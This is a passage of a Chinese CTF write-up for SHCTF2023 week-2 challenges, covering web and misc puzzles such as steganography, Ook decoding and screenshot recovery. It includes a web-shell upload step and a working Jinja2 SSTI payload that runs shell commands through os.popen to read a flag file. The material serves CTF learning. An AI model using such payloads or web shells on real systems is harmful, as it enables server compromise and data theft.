但是我们可以另辟蹊径,既然进入了后台,那我们不仅可以修改文件,又可以新建文件,我们直接上传一个shell.php


SHCTF2023-校外赛道_第127张图片

[WEEK2]ez_ssti

SHCTF2023-校外赛道_第128张图片
SHCTF2023-校外赛道_第129张图片
使用{{7*7}}作为参数name传入,可以看到表达式被成功执行,这就是SSTI漏洞出现的特征。
SHCTF2023-校外赛道_第130张图片
参考博客:http://t.csdnimg.cn/A5U8Q这题是CTFshow的原题
https://xz.aliyun.com/t/3679和https://www.cnblogs.com/tuzkizki/p/15394415.html

HackBar有现成的SSTI的payload
SHCTF2023-校外赛道_第131张图片
SHCTF2023-校外赛道_第132张图片

http://112.6.51.212:30701/?name={{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

Misc

[WEEK2]喜帖街

SHCTF2023-校外赛道_第133张图片
SHCTF2023-校外赛道_第134张图片

频谱图

使用工具:Audacity
文件类型:wav
SHCTF2023-校外赛道_第135张图片
即可获取隐藏信息
SHCTF2023-校外赛道_第136张图片
LeeTung可能是个密码之类的

接下来是steghide隐写
参考博客:http://t.csdnimg.cn/uZJSH

下载地址:https://sourceforge.net/projects/steghide/

查看图片中嵌入的文件信息
steghide info 图片名.jpg

隐藏文件
steghide embed -cf [图片文件载体] -ef [待隐藏文件]

提取隐藏的文件
steghide extract -sf 图片名 (-p 密码)

使用以下命令显示隐藏在文件中的信息
steghide info 图片名
steghide extract -sf 图片名 (-p 密码)

image.png
打开txt后发现一大堆okk,然后直接Okk解密就可以了,用https://www.splitbrain.org/services/ook
SHCTF2023-校外赛道_第137张图片

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook?
Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook.
Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook.
Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook! Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook?
Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook.
Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook!
Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook?
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. 

SHCTF2023-校外赛道_第138张图片

[WEEK2]远在天边近在眼前

SHCTF2023-校外赛道_第139张图片
解压之后,发现文件名就是flag,将字符反转提交发现不成功
用010打开,发现?号被替换成_了,这时候再提交便是正确的flag,应该是编码问题,或则解压的时候,自动把?替换了
SHCTF2023-校外赛道_第140张图片

flag{7HlS_lS_RE41Iy_eASy_4lR1Gh7?_540eaa07b86c}

[WEEK2]奇怪的screenshot

还是CVE-2023-28303,参考博客*CTF 2023 の Misc の snippingTools のWP - Fab1an - 博客园
github下载工具,运行一下就可以
SHCTF2023-校外赛道_第141张图片

然后百家姓磁链解密,获得flag

[WEEK2]可爱的洛琪希

image.png
伪加密,base64转图片
010查看文件尾部发现key,中部发现十六进制
SHCTF2023-校外赛道_第142张图片
SHCTF2023-校外赛道_第143张图片
十六进制转ASCII之后拿去维吉尼亚解密
SHCTF2023-校外赛道_第144张图片

你可能感兴趣的:(CTF,网络安全,web安全,http,网络,笔记)